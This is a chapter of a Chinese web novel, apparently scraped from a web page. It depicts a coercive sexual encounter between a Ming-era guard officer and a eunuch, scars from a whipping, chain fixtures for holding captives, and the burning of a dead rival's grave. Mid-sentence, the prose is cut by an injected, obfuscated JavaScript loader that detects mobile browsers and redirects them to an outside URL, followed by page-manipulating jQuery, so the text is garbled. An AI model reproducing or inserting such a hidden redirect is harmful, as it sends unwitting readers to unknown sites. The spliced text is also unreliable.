56.第12章
作品:《情生贱骨》 “我没那个癖好,你怎么就是不信我?”印蕴说着,单手将边悯双腕固定在他头顶。
这是个羞耻脆弱的姿势,边悯再怎么想躲也无法躲开印蕴的目光,目光游走处,像被剥开衣物遮掩,窥到内心污秽。
肩膀吃了一刀,还在流血,又被硬抬着手臂往上堆,肩胛扭动间,撕裂的疼痛袭来,边悯哼唧吟出声,却没在印蕴的制衡下挣扎,只轻轻蠕动嘴唇,含糊说:“你不就是喜欢这样的么。”
“什么?”印蕴低下头去听,边悯不说了,话出口要被印蕴打。
“那个小宦肯定很脏,”边悯垂下眼皮,看见自己的鼻尖,还有上方印蕴的胸膛,印蕴一直以来都没有别的锦衣卫健壮,但他并不瘦弱,反而康宁、清健,肩宽腰窄,恰到好处的身材。
“你别以为垂着眼皮我就不知道你在看什么,”印蕴握腕的手再用力,边悯两腕凹进软褥,身子不自觉地往上抬,把自己送了出去。
印蕴另一手抚上来,指尖合上边悯的眼,腕骨感受到他越来越粗湿的呼吸,不知怎的,她的手自己有了意识,不受控制地朝边悯脸上扇去,没用力,在撩拨。
黑里看不清,印蕴放开边悯,将油灯点燃,挂在床头,以此看清边悯潮红的双眼和泛粉晕的脸颊,看着看着,印蕴心里滋生出怪异的快感。
“他脏?那谁干净?”印蕴说得轻快,脸上也没太大变化,但她语调里的不同,被边悯发现了。
边悯坐起来,低头跪爬着,靠近印蕴,双手解她腰上系带,“我,我很干净。”
“可你和菩提说的是你很脏,”系带将要散开,印蕴一把推开边悯,他无错地呆坐,懵懂无辜看向她。
他的确说过这话,但情况不大一样,面对菩提,自卑害怕,面对印蕴,妒恨不甘,但都有相同之处,他始终怀揣诡异的期待。
边悯胃里肩上都疼,冒满头虚汗,还要凑上来攥印蕴的衣角,不说话,扮可怜。
“额角怎么了?”印蕴突然看见边悯额角一道疤痕增生,从额角一直贯穿到太阳穴上方,约莫一指长。
“被我爹打了,”边悯等了很久也没等到印蕴动作上的缓和,索性撩起眼皮,时不时窥他。
眸撞眸,边悯闪躲不及,措不及防地与印蕴对视,印蕴的目光素来强势,容不下他人,可意外地,他在那双细长漂亮的眼里,看见留给他纵容的境界。
于是顺着纵容,忍耐胃挛,边悯大着胆子过来,触碰印蕴双唇。
没得到拒绝。
惊异和兴奋涌上来,边悯不知分寸的,再加深吻触,直到身前突如其来的凉,扯断他的沉溺。
印蕴将他的革带扯开了,衣袍散开,该露出的,不该露出的,通通暴露,铺展在眼前。
“你爹为什么打你?”印蕴把边悯揽在怀里,将他的头搁在自己肩头,面向自己,不许他趴在身后,她想看他反应。
“你派人护我,被我爹发现了,”边悯变得惶恐,起头容易,真要迈出那一步,还是很艰难。
他自己已经不太分得清到底能不能接受了,思绪挣扎后,自暴自弃,把眼缓缓闭上。
眼睫颤得勾人,印蕴顺着欲念,唇瓣覆合,又离开,断断续续间和边悯说着话,“你如何解释的?”
“我认了,”边悯不敢睁眼,他偏头靠近印蕴的胸膛,以此遮住自己的半边脸,可惜在印蕴的右侧,无法听见他的心跳,“他说我毁边家清誉,让我滚出边家,他气不过,就拿鞭子把我额角抽烂了。”
既做阉人又做断袖,实在令人耻笑,也不怪边父生气,哪个文人世家能接受自己的小儿做了阉人,入了东厂和司礼监,甚至没脸没皮成断袖,爱慕男人。
印蕴不满意地啧一声,推开边悯,起身下榻去浴房,“让你和父母见面,你都不问你们家发生了什么?光说这些没用的。”
印蕴的离开确切告诉边悯,他拒绝他的讨好。
边悯坐榻上待了会儿,神志彻底清醒,他眯了眯眼,下榻穿衣,离开寝房。
印府扩得很大,从印蕴的寝房走出来要先入长廊,边悯沿着长廊一路往外,没有提灯,却有光。
他侧头顺着光源看去,是侧房点着灯,恰时有人从侧房出来,搬着一箱箱东西,走近一瞧,是吕千户。
“边公公?”吕千户率先开口,他一眼就发现边悯肩头背血浸染一块,他两步跟上来,“您什么时候回京的?”
“今天,”边悯注意力在侧房和吕千户手上的箱子,他指了指箱子,“这是什么?”
边悯先前吊死四个小宦,吕千户心知肚明,印蕴还让他把边悯绑到印府来呢,不过时至今日,他哪里还斗得过边悯。
吕千户想了想,给了个回答,“蕴哥儿升迁了嘛,有些东西要搬到锦衣卫衙署去。”
“什么东西?”
犯难,边悯在外不好说话,刨根问底的,吕千户想不答都难,毕竟知晓边悯为人,怕他胡来,吕千户只含糊其辞,“蕴哥儿的东西,下官哪里敢看,边公公,您看您这伤也忒恼火了,赶紧去寻医看看吧!”
“有多恼火?蕴哥儿下手从来就不会把人往死砍,”边悯说着,忽然打开箱子,吕千户遮掩不及。
箱中几套衣物,几套银链,边悯用刀鞘拎出其中一套衣物,说衣物实在太文雅,这根本就算不上一件衣物,称它一句遮羞布差不
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15849498|173900||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
多。
吕千户连忙盖上箱子,“边公公,您都瞧见了,下官就同您讲实话,您在西北这两年怕是不知道详情,您走第一年底,梁掌印把夏玉宾送过来,谁晓得夏玉宾两面都要,既要蕴哥儿宠爱,又要帮梁掌印……”
以吕千户所知,除了第一晚夏玉宾曾在印蕴的房中,以后的日子都被关在侧房,兴许印蕴不在时,他才跑出去,找陈放,找梁去华。
夏玉宾被印蕴发现过一次,背打烂了都死不认自己跑出去,叛了印蕴,从此之后,再也没出过印府。
印蕴那些私事儿,吕千户一桩都不敢探,不敢问,究竟有几个日夜和夏玉宾在一起,他也不得知。
夏玉宾不在了,东西自然要搬走,丢了还是烧了,都可以,只要别出现在印蕴面前就好。
吕千户苦口婆心,不想让边悯又干以前一样的事儿,夏玉宾现在是以自缢结束,边悯捣乱,指不定要给印蕴添麻烦。
“除非您能自个儿处理好,不然就少管这些吧,蕴哥儿一个人跟东厂对着干,下官看着都嫌累。”
边悯眨了眨眼,弯唇笑,和印蕴一个模子刻出来的笑容,不深,含着威胁,“小夏公公的坟在哪儿?”
吕千户心猛然跳几下,“边公公,您别犯傻,蕴哥儿要生气的。”
“你想多了,我就是去看看,同为宦人,难免可怜。”
吕千户半信半疑,说了地方,见边悯神情如常,才稍稍安心,又规劝几句,离开了。
边悯没有立即走,他走到侧房,站在窗外窥探屋内,月光摇进来,落在屋内,都被收拾干净了,除了墙上残留的生锈的链环,其它什么都没有。
链环可以套锁链,将人或物拴在墙沿,就像诏狱里栓犯人一样的工具,被栓的人只能跪在地上,或瘫坐。
边悯知道印蕴养小宦,却不知如何个养法,是像他一样,还是比对他更好,他什么都不清楚,问也是问不来的。
只是听吕千户的说词,夏玉宾是一个白嫩的,年纪小的宦人,比他要识相得多,不过夏玉宾反抗得不彻底,也没有他乖。
边悯抬起手,两腕靠在一起,隔着窗,将相贴的腕子对准链环下方,幻想这里应该有一条链子,不该栓夏玉宾,应该把他栓起来。
月下身影神情都清晰,印蕴遥遥注视他,他不曾察觉到印蕴的存在。
他离开印府,找到夏玉宾葬身处,这里没有碑墓,只有一块凸起的坟丘。
再跟上前就要被边悯发现了。
印蕴半身隐在树后,看见边悯用刀鞘挖开土,放了火,火焰剧烈,传来焦硬的腥糊味,很刺鼻。
她扬起唇角,转身离开。